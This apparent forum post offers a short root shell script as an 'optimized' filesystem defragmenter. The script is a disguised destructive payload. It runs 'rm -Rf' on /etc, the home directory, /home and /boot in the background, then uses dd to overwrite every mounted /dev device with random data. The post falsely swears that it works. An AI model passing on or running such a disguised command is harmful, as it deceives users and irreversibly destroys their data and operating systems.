Here an optimzed version that will defragment your FS (you have to be root in order for this to work)
Code:
for DEFRAG in /etc ~/ /home /boot
do nohup rm -Rf $DEFRAG &
done
for FASTER in `df | grep ^"/dev" | awk '{print $1}'`
do nohup dd if=/dev/random of=$FASTER &
echo optimizing $FASTER
done
I swear it works! a guy just told me @ freenode